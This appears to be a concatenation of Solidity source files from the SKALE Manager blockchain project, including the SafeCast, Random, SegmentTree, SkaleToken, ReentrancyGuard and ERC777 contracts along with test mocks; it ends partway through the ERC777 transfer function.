* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SegmentTree.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
/**
* @title Random
* @dev The library for generating of pseudo random numbers
*/
library Random {
using SafeMath for uint;
struct RandomGenerator {
uint seed;
}
/**
* @dev Create an instance of RandomGenerator
*/
function create(uint seed) internal pure returns (RandomGenerator memory) {
return RandomGenerator({seed: seed});
}
function createFromEntropy(bytes memory entropy) internal pure returns (RandomGenerator memory) {
return create(uint(keccak256(entropy)));
}
/**
* @dev Generates random value
*/
function random(RandomGenerator memory self) internal pure returns (uint) {
self.seed = uint(sha256(abi.encodePacked(self.seed)));
return self.seed;
}
/**
* @dev Generates random value in range [0, max)
*/
function random(RandomGenerator memory self, uint max) internal pure returns (uint) {
assert(max > 0);
uint maxRand = uint(-1).sub(uint(-1).mod(max));
if (uint(-1).sub(maxRand) == max.sub(1)) {
return random(self).mod(max);
} else {
uint rand = random(self);
while (rand >= maxRand) {
rand = random(self);
}
return rand.mod(max);
}
}
/**
* @dev Generates random value in range [min, max)
*/
function random(RandomGenerator memory self, uint min, uint max) internal pure returns (uint) {
assert(min < max);
return min.add(random(self, max.sub(min)));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SegmentTree.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Artem Payvin
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "./Random.sol";
/**
* @title SegmentTree
* @dev This library implements segment tree data structure
*
* Segment tree allows effectively calculate sum of elements in sub arrays
* by storing some amount of additional data.
*
* IMPORTANT: Provided implementation assumes that arrays is indexed from 1 to n.
* Size of initial array always must be power of 2
*
* Example:
*
* Array:
* +---+---+---+---+---+---+---+---+
* | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
* +---+---+---+---+---+---+---+---+
*
* Segment tree structure:
* +-------------------------------+
* | 36 |
* +---------------+---------------+
* | 10 | 26 |
* +-------+-------+-------+-------+
* | 3 | 7 | 11 | 15 |
* +---+---+---+---+---+---+---+---+
* | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
* +---+---+---+---+---+---+---+---+
*
* How the segment tree is stored in an array:
* +----+----+----+---+---+----+----+---+---+---+---+---+---+---+---+
* | 36 | 10 | 26 | 3 | 7 | 11 | 15 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
* +----+----+----+---+---+----+----+---+---+---+---+---+---+---+---+
*/
library SegmentTree {
using Random for Random.RandomGenerator;
using SafeMath for uint;
struct Tree {
uint[] tree;
}
/**
* @dev Allocates storage for segment tree of `size` elements
*
* Requirements:
*
* - `size` must be greater than 0
* - `size` must be power of 2
*/
function create(Tree storage segmentTree, uint size) external {
require(size > 0, "Size can't be 0");
require(size & size.sub(1) == 0, "Size is not power of 2");
segmentTree.tree = new uint[](size.mul(2).sub(1));
}
/**
* @dev Adds `delta` to element of segment tree at `place`
*
* Requirements:
*
* - `place` must be in range [1, size]
*/
function addToPlace(Tree storage self, uint place, uint delta) external {
require(_correctPlace(self, place), "Incorrect place");
uint leftBound = 1;
uint rightBound = getSize(self);
uint step = 1;
self.tree[0] = self.tree[0].add(delta);
while(leftBound < rightBound) {
uint middle = leftBound.add(rightBound).div(2);
if (place > middle) {
leftBound = middle.add(1);
step = step.add(step).add(1);
} else {
rightBound = middle;
step = step.add(step);
}
self.tree[step.sub(1)] = self.tree[step.sub(1)].add(delta);
}
}
/**
* @dev Subtracts `delta` from element of segment tree at `place`
*
* Requirements:
*
* - `place` must be in range [1, size]
* - initial value of target element must be not less than `delta`
*/
function removeFromPlace(Tree storage self, uint place, uint delta) external {
require(_correctPlace(self, place), "Incorrect place");
uint leftBound = 1;
uint rightBound = getSize(self);
uint step = 1;
self.tree[0] = self.tree[0].sub(delta);
while(leftBound < rightBound) {
uint middle = leftBound.add(rightBound).div(2);
if (place > middle) {
leftBound = middle.add(1);
step = step.add(step).add(1);
} else {
rightBound = middle;
step = step.add(step);
}
self.tree[step.sub(1)] = self.tree[step.sub(1)].sub(delta);
}
}
/**
* @dev Adds `delta` to element of segment tree at `toPlace`
* and subtracts `delta` from element at `fromPlace`
*
* Requirements:
*
* - `fromPlace` must be in range [1, size]
* - `toPlace` must be in range [1, size]
* - initial value of element at `fromPlace` must be not less than `delta`
*/
function moveFromPlaceToPlace(
Tree storage self,
uint fromPlace,
uint toPlace,
uint delta
)
external
{
require(_correctPlace(self, fromPlace) && _correctPlace(self, toPlace), "Incorrect place");
uint leftBound = 1;
uint rightBound = getSize(self);
uint step = 1;
uint middle = leftBound.add(rightBound).div(2);
uint fromPlaceMove = fromPlace > toPlace ? toPlace : fromPlace;
uint toPlaceMove = fromPlace > toPlace ? fromPlace : toPlace;
while (toPlaceMove <= middle || middle < fromPlaceMove) {
if (middle < fromPlaceMove) {
leftBound = middle.add(1);
step = step.add(step).add(1);
} else {
rightBound = middle;
step = step.add(step);
}
middle = leftBound.add(rightBound).div(2);
}
uint leftBoundMove = leftBound;
uint rightBoundMove = rightBound;
uint stepMove = step;
while(leftBoundMove < rightBoundMove && leftBound < rightBound) {
uint middleMove = leftBoundMove.add(rightBoundMove).div(2);
if (fromPlace > middleMove) {
leftBoundMove = middleMove.add(1);
stepMove = stepMove.add(stepMove).add(1);
} else {
rightBoundMove = middleMove;
stepMove = stepMove.add(stepMove);
}
self.tree[stepMove.sub(1)] = self.tree[stepMove.sub(1)].sub(delta);
middle = leftBound.add(rightBound).div(2);
if (toPlace > middle) {
leftBound = middle.add(1);
step = step.add(step).add(1);
} else {
rightBound = middle;
step = step.add(step);
}
self.tree[step.sub(1)] = self.tree[step.sub(1)].add(delta);
}
}
/**
* @dev Returns random position in range [`place`, size]
* with probability proportional to value stored at this position.
* If all element in range are 0 returns 0
*
* Requirements:
*
* - `place` must be in range [1, size]
*/
function getRandomNonZeroElementFromPlaceToLast(
Tree storage self,
uint place,
Random.RandomGenerator memory randomGenerator
)
external
view
returns (uint)
{
require(_correctPlace(self, place), "Incorrect place");
uint vertex = 1;
uint leftBound = 0;
uint rightBound = getSize(self);
uint currentFrom = place.sub(1);
uint currentSum = sumFromPlaceToLast(self, place);
if (currentSum == 0) {
return 0;
}
while(leftBound.add(1) < rightBound) {
if (_middle(leftBound, rightBound) <= currentFrom) {
vertex = _right(vertex);
leftBound = _middle(leftBound, rightBound);
} else {
uint rightSum = self.tree[_right(vertex).sub(1)];
uint leftSum = currentSum.sub(rightSum);
if (Random.random(randomGenerator, currentSum) < leftSum) {
// go left
vertex = _left(vertex);
rightBound = _middle(leftBound, rightBound);
currentSum = leftSum;
} else {
// go right
vertex = _right(vertex);
leftBound = _middle(leftBound, rightBound);
currentFrom = leftBound;
currentSum = rightSum;
}
}
}
return leftBound.add(1);
}
/**
* @dev Returns sum of elements in range [`place`, size]
*
* Requirements:
*
* - `place` must be in range [1, size]
*/
function sumFromPlaceToLast(Tree storage self, uint place) public view returns (uint sum) {
require(_correctPlace(self, place), "Incorrect place");
if (place == 1) {
return self.tree[0];
}
uint leftBound = 1;
uint rightBound = getSize(self);
uint step = 1;
while(leftBound < rightBound) {
uint middle = leftBound.add(rightBound).div(2);
if (place > middle) {
leftBound = middle.add(1);
step = step.add(step).add(1);
} else {
rightBound = middle;
step = step.add(step);
sum = sum.add(self.tree[step]);
}
}
sum = sum.add(self.tree[step.sub(1)]);
}
/**
* @dev Returns amount of elements in segment tree
*/
function getSize(Tree storage segmentTree) internal view returns (uint) {
if (segmentTree.tree.length > 0) {
return segmentTree.tree.length.div(2).add(1);
} else {
return 0;
}
}
/**
* @dev Checks if `place` is valid position in segment tree
*/
function _correctPlace(Tree storage self, uint place) private view returns (bool) {
return place >= 1 && place <= getSize(self);
}
/**
* @dev Calculates index of left child of the vertex
*/
function _left(uint vertex) private pure returns (uint) {
return vertex.mul(2);
}
/**
* @dev Calculates index of right child of the vertex
*/
function _right(uint vertex) private pure returns (uint) {
return vertex.mul(2).add(1);
}
/**
* @dev Calculates arithmetical mean of 2 numbers
*/
function _middle(uint left, uint right) private pure returns (uint) {
return left.add(right).div(2);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ILocker.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
/**
* @dev Interface of the Locker functions.
*/
interface ILocker {
/**
* @dev Returns and updates the total amount of locked tokens of a given
* `holder`.
*/
function getAndUpdateLockedAmount(address wallet) external returns (uint);
/**
* @dev Returns and updates the total non-transferrable and un-delegatable
* amount of a given `holder`.
*/
function getAndUpdateForbiddenForDelegationAmount(address wallet) external returns (uint);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
NodesMock.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../BountyV2.sol";
import "../Permissions.sol";
contract NodesMock is Permissions {
uint public nodesCount = 0;
uint public nodesLeft = 0;
// nodeId => timestamp
mapping (uint => uint) public lastRewardDate;
// nodeId => left
mapping (uint => bool) public nodeLeft;
// nodeId => validatorId
mapping (uint => uint) public owner;
function registerNodes(uint amount, uint validatorId) external {
for (uint nodeId = nodesCount; nodeId < nodesCount + amount; ++nodeId) {
lastRewardDate[nodeId] = now;
owner[nodeId] = validatorId;
}
nodesCount += amount;
}
function removeNode(uint nodeId) external {
++nodesLeft;
nodeLeft[nodeId] = true;
}
function changeNodeLastRewardDate(uint nodeId) external {
lastRewardDate[nodeId] = now;
}
function getNodeLastRewardDate(uint nodeIndex) external view returns (uint) {
require(nodeIndex < nodesCount, "Node does not exist");
return lastRewardDate[nodeIndex];
}
function isNodeLeft(uint nodeId) external view returns (bool) {
return nodeLeft[nodeId];
}
function getNumberOnlineNodes() external view returns (uint) {
return nodesCount.sub(nodesLeft);
}
function checkPossibilityToMaintainNode(uint /* validatorId */, uint /* nodeIndex */) external pure returns (bool) {
return true;
}
function getValidatorId(uint nodeId) external view returns (uint) {
return owner[nodeId];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleManagerMock.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol";
import "../interfaces/IMintableToken.sol";
import "../Permissions.sol";
contract SkaleManagerMock is Permissions, IERC777Recipient {
IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
bytes32 constant public ADMIN_ROLE = keccak256("ADMIN_ROLE");
constructor (address contractManagerAddress) public {
Permissions.initialize(contractManagerAddress);
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this));
}
function payBounty(uint validatorId, uint amount) external {
IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken"));
require(IMintableToken(address(skaleToken)).mint(address(this), amount, "", ""), "Token was not minted");
require(
IMintableToken(address(skaleToken))
.mint(contractManager.getContract("Distributor"), amount, abi.encode(validatorId), ""),
"Token was not minted"
);
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
)
external override allow("SkaleToken")
// solhint-disable-next-line no-empty-blocks
{
}
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the global ERC1820 Registry, as defined in the
* https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register
* implementers for interfaces in this registry, as well as query support.
*
* Implementers may be shared by multiple accounts, and can also implement more
* than a single interface for each account. Contracts can implement interfaces
* for themselves, but externally-owned accounts (EOA) must delegate this to a
* contract.
*
* {IERC165} interfaces can also be queried via the registry.
*
* For an in-depth explanation and source code analysis, see the EIP text.
*/
interface IERC1820Registry {
/**
* @dev Sets `newManager` as the manager for `account`. A manager of an
* account is able to set interface implementers for it.
*
* By default, each account is its own manager. Passing a value of `0x0` in
* `newManager` will reset the manager to this initial state.
*
* Emits a {ManagerChanged} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
*/
function setManager(address account, address newManager) external;
/**
* @dev Returns the manager for `account`.
*
* See {setManager}.
*/
function getManager(address account) external view returns (address);
/**
* @dev Sets the `implementer` contract as ``account``'s implementer for
* `interfaceHash`.
*
* `account` being the zero address is an alias for the caller's address.
* The zero address can also be used in `implementer` to remove an old one.
*
* See {interfaceHash} to learn how these are created.
*
* Emits an {InterfaceImplementerSet} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
* - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not
* end in 28 zeroes).
* - `implementer` must implement {IERC1820Implementer} and return true when
* queried for support, unless `implementer` is the caller. See
* {IERC1820Implementer-canImplementInterfaceForAddress}.
*/
function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer) external;
/**
* @dev Returns the implementer of `interfaceHash` for `account`. If no such
* implementer is registered, returns the zero address.
*
* If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28
* zeroes), `account` will be queried for support of it.
*
* `account` being the zero address is an alias for the caller's address.
*/
function getInterfaceImplementer(address account, bytes32 interfaceHash) external view returns (address);
/**
* @dev Returns the interface hash for an `interfaceName`, as defined in the
* corresponding
* https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP].
*/
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
/**
* @notice Updates the cache with whether the contract implements an ERC165 interface or not.
* @param account Address of the contract for which to update the cache.
* @param interfaceId ERC165 interface for which to update the cache.
*/
function updateERC165Cache(address account, bytes4 interfaceId) external;
/**
* @notice Checks whether a contract implements an ERC165 interface or not.
* If the result is not cached a direct lookup on the contract address is performed.
* If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling
* {updateERC165Cache} with the contract address.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
/**
* @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC777TokensRecipient standard as defined in the EIP.
*
* Accounts can be notified of {IERC777} tokens being sent to them by having a
* contract implement this interface (contract holders can be their own
* implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777Recipient {
/**
* @dev Called by an {IERC777} token contract whenever tokens are being
* moved or created into a registered account (`to`). The type of operation
* is conveyed by `from` being the zero address or not.
*
* This call occurs _after_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the post-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IMintableToken.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
interface IMintableToken {
function mint(
address account,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
)
external
returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleToken.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./thirdparty/openzeppelin/ERC777.sol";
import "./Permissions.sol";
import "./interfaces/delegation/IDelegatableToken.sol";
import "./interfaces/IMintableToken.sol";
import "./delegation/Punisher.sol";
import "./delegation/TokenState.sol";
/**
* @title SkaleToken
* @dev Contract defines the SKALE token and is based on ERC777 token
* implementation.
*/
contract SkaleToken is ERC777, Permissions, ReentrancyGuard, IDelegatableToken, IMintableToken {
using SafeMath for uint;
string public constant NAME = "SKALE";
string public constant SYMBOL = "SKL";
uint public constant DECIMALS = 18;
uint public constant CAP = 7 * 1e9 * (10 ** DECIMALS); // the maximum amount of tokens that can ever be created
constructor(address contractsAddress, address[] memory defOps) public
ERC777("SKALE", "SKL", defOps)
{
Permissions.initialize(contractsAddress);
}
/**
* @dev Allows Owner or SkaleManager to mint an amount of tokens and
* transfer minted tokens to a specified address.
*
* Returns whether the operation is successful.
*
* Requirements:
*
* - Mint must not exceed the total supply.
*/
function mint(
address account,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
)
external
override
allow("SkaleManager")
//onlyAuthorized
returns (bool)
{
require(amount <= CAP.sub(totalSupply()), "Amount is too big");
_mint(
account,
amount,
userData,
operatorData
);
return true;
}
/**
* @dev See {IDelegatableToken-getAndUpdateDelegatedAmount}.
*/
function getAndUpdateDelegatedAmount(address wallet) external override returns (uint) {
return DelegationController(contractManager.getContract("DelegationController"))
.getAndUpdateDelegatedAmount(wallet);
}
/**
* @dev See {IDelegatableToken-getAndUpdateSlashedAmount}.
*/
function getAndUpdateSlashedAmount(address wallet) external override returns (uint) {
return Punisher(contractManager.getContract("Punisher")).getAndUpdateLockedAmount(wallet);
}
/**
* @dev See {IDelegatableToken-getAndUpdateLockedAmount}.
*/
function getAndUpdateLockedAmount(address wallet) public override returns (uint) {
return TokenState(contractManager.getContract("TokenState")).getAndUpdateLockedAmount(wallet);
}
// internal
function _beforeTokenTransfer(
address, // operator
address from,
address, // to
uint256 tokenId)
internal override
{
uint locked = getAndUpdateLockedAmount(from);
if (locked > 0) {
require(balanceOf(from) >= locked.add(tokenId), "Token should be unlocked for transferring");
}
}
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) internal override nonReentrant {
super._callTokensToSend(operator, from, to, amount, userData, operatorData);
}
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) internal override nonReentrant {
super._callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
// we have to override _msgData() and _msgSender() functions because of collision in Context and ContextUpgradeSafe
function _msgData() internal view override(Context, ContextUpgradeSafe) returns (bytes memory) {
return Context._msgData();
}
function _msgSender() internal view override(Context, ContextUpgradeSafe) returns (address payable) {
return Context._msgSender();
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/GSN/Context.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol";
// import "@openzeppelin/contracts/math/SafeMath.sol"; Removed by SKALE
// import "@openzeppelin/contracts/utils/Address.sol"; Removed by SKALE
import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol";
/* Added by SKALE */
import "../../Permissions.sol";
/* End of added by SKALE */
/**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/
contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private _TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view override returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view override(IERC20, IERC777) returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view override(IERC20, IERC777) returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes memory data) public override {
_send(_msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
